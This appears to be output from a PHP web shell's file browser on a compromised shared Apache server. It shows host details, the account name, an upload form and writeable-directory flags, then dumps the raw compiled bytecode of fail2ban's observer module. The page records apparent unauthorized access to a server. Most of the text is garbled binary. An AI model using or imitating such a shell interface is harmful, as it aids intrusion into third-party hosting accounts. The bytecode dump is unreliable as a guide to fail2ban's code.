https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/fail2ban/server/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/fail2ban/server/__pycache__/observer.cpython-310.pyc
o

��_�E�@s�dZdZdZddlZddlmZddlmZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZdd	lmZdd
lmZddlmZee�ZGdd
�d
e�ZGdd�d�Ze�ZdS)zSerg G. Brester (sebres)z"Copyright (c) 2014 Serg G. Brester�GPL�N�)�
JailThread)�FailManagerEmpty�)�	getLogger)�MyTime)�UtilscsNeZdZdZejdZ�fdd�Zdd�Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�ZdGd$d%�Z�fd&d'�ZdHd*d+�Zed,d-��ZdGd.d/�ZdGd0d1�Zed2d3��Zejd4d3��Zed5d6��Zd7d8�Z d9d:�Z!d;d<�Z"Gd=d>�d>�Z#d?d@�Z$dAdB�Z%dCdD�Z&dEdF�Z'�Z(S)I�ObserverThreada8Handles observing a database, managing bad ips and ban increment.

	Parameters
	----------

	Attributes
	----------
	daemon
	ident
	name
	status
	active : bool
		Control the state of the thread.
	idle : bool
		Control the idle state of the thread.
	sleeptime : int
		The time the thread sleeps for in the loop.
	�
csZtt|�jdd�d|_t��|_g|_t��|_	d|_
i|_d|_d|_
d|_d|_dS)Nzf2b/observer)�nameT�<Fi)�superr
�__init__�idle�	threading�RLock�_queue_lock�_queue�Event�_notify�	sleeptime�_timers�_paused�_ObserverThread__db�"_ObserverThread__db_purge_interval�daemon��self��	__class__��:/usr/lib/python3/dist-packages/fail2ban/server/observer.pyr?s


zObserverThread.__init__cCs(z|j|WStytd|��w)NzInvalid event index : %s�r�KeyError�r�ir!r!r"�__getitem__Ts
�zObserverThread.__getitem__cCs*z|j|=WdStytd|��w)NzInvalid event index: %sr#r%r!r!r"�__delitem__Zs
�zObserverThread.__delitem__cC�
t|j�S�N)�iterrrr!r!r"�__iter__`�
zObserverThread.__iter__cCr)r*)�lenrrr!r!r"�__len__cr-zObserverThread.__len__cC�dS)NFr!)r�otherr!r!r"�__eq__fszObserverThread.__eq__cCst|�Sr*)�idrr!r!r"�__hash__iszObserverThread.__hash__cGsD|j�|d�}|dur|��t�||j|�}||j|<|��dS)z�Add a named timer event to queue will start (and wake) in 'starttime' seconds
		
		Previous timer event with same name will be canceled and trigger self into 
		queue after new 'starttime' value
		N)r�get�cancelr�Timer�add�start)rr�	starttime�event�tr!r!r"�add_named_timerls
zObserverThread.add_named_timercGs^tjdur!|r!t�tj|jt��|t��||f�}|��dSt�||j	|�}|��dS)zJAdd a timer event to queue will start (and wake) in 'starttime' seconds
		N)
r�myTimerr7r	�DEFAULT_SLEEP_INTERVAL�
_delayedEvent�timer9r8)rr:r;r<r!r!r"�	add_timerys�zObserverThread.add_timercCsRt��|kst��|kr|jdg|�R�dSt�tj|j|||f�}|��dS)Nr)	rrArBrr7r	r?r@r9)r�	endMyTime�endTimer;r<r!r!r"r@�s�zObserverThread._delayedEventcCs$|js|j}|r|��dSdSdS)z1Notify wakeup (sets /and resets/ notify event)
		N)rr�set)r�nr!r!r"�pulse_notify�s�zObserverThread.pulse_notifycGs>|j�|j�|�Wd�n1swY|��dS)z5Add a event to queue and notify thread to wake up.
		N)rr�appendrG�rr;r!r!r"r8�s�zObserverThread.addcGs8|j�|j�|�Wd�dS1swYdS)z=Add a event to queue withouth notifying thread to wake up.
		N)rrrHrIr!r!r"�add_wn�s"�zObserverThread.add_wncGs||�dSr*r!)r�l�argsr!r!r"�call_lambda�szObserverThread.call_lambdac
Cs�t�d�|�d|jd�|j|j|j|j|j|j	|j
dd�dd�d�	}z�|�d�|jr�d	|_
|js�zDd
}|j�t|j�rE|j�d�}Wd
�n1sOwY|d
urZWn;|d}t|d�sn|�|�pmt||�}||dd
��Wnty�}ztjd
|dd�WYd
}~nd
}~ww|jr3|j}|r�d|_
|�|j�|��|jr�q*n
t�tj�|j s�n|js-t�dt|j��d
|_Wnty�}ztjd|dd�WYd
}~nd
}~ww|j�g|_Wd
�n1s�wYd|_
dS)z�Main loop for Threading.

		This function is the main loop of the thread.

		Returns
		-------
		bool
			True when the thread exits nicely.
		zObserver start...�DB_PURGE�db_purgecSr0�Nr!r!r!r!r!r"�<lambda>��z$ObserverThread.run.<locals>.<lambda>cSr0rPr!r!r!r!r"rQ�rR)	�call�db_setrO�is_alive�	is_activer9�stop�nop�shutdownrUFNrr�%sT��exc_infoz&Observer stopped, %s events remaining.z Observer stopped after error: %s)!�logSys�infor=rrMrTrO�isAlive�isActiver9rWr8�activerrrr.r�pop�callabler5�getattr�	Exception�errorr�waitr�clearrA�sleepr
r?�is_full)r�_ObserverThread__meth�ev�meth�erFr!r!r"�run�sr

�

�� �����$
���zObserverThread.runcCr0)NTr!rr!r!r"r_�szObserverThread.isAliveNcC�|jSr*)ra)r�fromStrr!r!r"r`szObserverThread.isActivecsP|j�|jstt|���Wd�dSWd�dS1s!wYdSr*)rrarr
r9rrr!r"r9s�"�zObserverThread.start�TcCs�|jrS|jrSt�d|�|j�|�d�|j}|j��d|_Wd�n1s*wY|�|�s6|rD|��d|_d|_	d|_
n||_|�t|d��oR|j
SdS)Nz-Observer stop ... try to end queue %s secondsrYFTg�?)rarr]r^rrJrE�
wait_emptyrhrr�	wait_idle�minrj)r�wtime�	forceQuitrFr!r!r"rWs 

�zObserverThread.stopcCs<|j�t|j�rdndWd�S1swYdS)NTF)rr.rrr!r!r"rj#s$�zObserverThread.is_fullcCs�t�tj�|durt��|}|jdur$|�d�|jr$|jr$|�	�|jr;|dur2t��|kr2n	t�tj�|js'|�
d�|jS)zWWait observer is running and returns if observer has no more events (queue is empty)
		NrXg����MbP?)rArir
r?rrrJrjrrGrt�rrrnr!r!r"rs(s

�
zObserverThread.wait_emptycCsdt�tj�|jrdS|durt��|}|js/|dur&t��|kr&	|jSt�tj�|jr|jS)zJWait observer is running and returns if observer idle (observer sleeps)
		TN)rArir
r?rrrxr!r!r"rt<s��zObserverThread.wait_idlecCrpr*)rrr!r!r"�pausedJszObserverThread.pausedcCs |j|krdS||_|��dSr*)rrG)r�pauser!r!r"ryNs
cCr0)z/Status of observer to be implemented. [TODO]
		)�r{r!rr!r!r"�statusWszObserverThread.statuscCs
||_dSr*)r)r�dbr!r!r"rTar-zObserverThread.db_setcCs2t�d�|jdur|j��|�d|jd�dS)NzPurge database event occurredrNrO)r]�debugr�purger=rrr!r!r"rOds


zObserverThread.db_purgec

Cs�|��r	|�d�sdS|��}|��}t�d|j|�d}d}d}z�|��}	|j}
|
durh|
�	||�D]\}}}t
||���}d|dkrF|nd>dd}t||	�}|durh||krht�d|j|||�WdS|dkroWdSt�
d	|j|t�|�||||	kr�d
nd�|�||dd�}|�|�||	kr�z	|�|�}|�|�q�ty�|�t���YWdSwWdSty�}ztjd
|t��tjkd�WYd}~dSd}~ww)z} Notify observer a failure for ip was found

		Observer will check ip was known (bad) and possibly increase an retry count
		�	incrementNz[%s] Observer: failure found %srr�rz8[%s] Ignore failure %s before last ban %s < %s, restoredz%[%s] Found %s, bad - %s, %s # -> %s%sz, Banr{TrZr[)r_�getBanTimeExtra�getIP�getTimer]r~r�getMaxRetry�database�getBan�max�getBanCountrur^r�time2str�
addFailure�setBanCount�toBan�
putFailTicketr�cleanuprArerf�getEffectiveLevel�logging�DEBUG)
r�failManager�jail�ticket�ip�unixTime�banCount�
retryCount�	timeOfBan�maxRetryr}�lastBanTimernr!r!r"�failureFoundosX

��


���
(��zObserverThread.failureFoundc@�eZdZdd�ZdS)zObserverThread.BanTimeIncrcCs||_||_dSr*)�Time�Count)r�banTimer�r!r!r"r�s
z#ObserverThread.BanTimeIncr.__init__N��__name__�
__module__�__qualname__rr!r!r!r"�BanTimeIncr��r�cCs|��}|d|�||��S)N�	evformula)r�r�)rr�r�r��ber!r!r"�calcBanTime�szObserverThread.calcBanTimecCsX|��r|js	|S|��}|��}|}zx|dkr�|�dd�r�|jj|||�dd�d�D]]\}}}	||��kr=|�|d�t�	d|||�|dkrS|d|�
||��}|�|�|��|kr|t�
d	|j||t�|�tjt|�d
�tjt|�d
�f�nd|_W|SW|SW|SW|Sty�}
ztjd|
t��tjkd
�WYd}
~
|Sd}
~
ww)ztCheck for IP address to increment ban time (if was already banned).

		Returns
		-------
		float
			new ban time.
		rr�F�overalljails)r�rz"IP %s was already banned: %s #, %sr�z/[%s] IP %s is bad: %s # last %s - incr %s to %s��secondsTrZr[N)r_r�r�r�r5r�r�r�r]r~r��
setBanTimer�r^rrr��datetime�	timedelta�int�restoredrerfr�r�r�)rr�r�r�r�r��
orgBanTimer�r�r�rnr!r!r"�incrBanTime�sD	�

�����$��zObserverThread.incrBanTimec	
Cs�|jrdSz�|}|��}t�d|j||�|dkr3|��dur3|�|||�}|dks.||kr3|�|�|dkr\|��|}t	j
t|�d�t�
|�f}|t��kr[t�d|d�WdSnd}||kr�tjd	|j||��g|�R�t�d
d|j|||f�|�tdtd
||d
��|j||�|jdur�|js�|j�||�WdSWdSWdSty�}ztjd|t��tjkd�WYd}~dSd}~ww)�� Notify observer a ban occured for ip

		Observer will check ip was known (bad) and possibly increase/prolong a ban time
		Secondary we will actualize the bans and bips (bad ip) in database
		Nz[%s] Observer: ban found %s, %s���r�zIgnore old bantime %srF)�	permanent�infinitez$[%s] Increase Ban %s (%d # %s -> %s)rrz[%s] Observer: prolong %s in %srrrZr[)r�r�r]r~r�
getBanTimer�r�r�r�r�r�rr�rA�noticer��logrBrur��
prolongBanr��addBanrerfr�r�r�)	rr�r��btime�oldbtimer��bendtime�logtimernr!r!r"�banFound�sF
��
��&�(��zObserverThread.banFoundc
Csvz|��}|��}t�d|j||�|j�|�WdSty:}ztjd|t�	�t
jkd�WYd}~dSd}~ww)r�z[%s] Observer: prolong %s, %srZr[N)r�r�r]r~r�actions�_prolongBanrerfr�r�r�)rr�r�r�r�rnr!r!r"r�s(��zObserverThread.prolongBanr*)rrT))r�r�r��__doc__r	r?rr'r(r,r/r2r4r=rBr@rGr8rJrMror_r`r9rW�propertyrjrsrtry�setterr|rTrOr�r�r�r�r�r��
__classcell__r!r!rr"r
(sP


	P







	8)+r
c@r�)�
_ObserverscCs
d|_dSr*)�Mainrr!r!r"rr-z_Observers.__init__Nr�r!r!r!r"r�r�r�)�
__author__�
__copyright__�__license__r�
jailthreadr�failmanagerr�osr�rAr��math�json�random�sys�helpersr�mytimer�utilsr	r�r]r
r��	Observersr!r!r!r"�<module>s$8o


https://t.me/RX1948 - 2025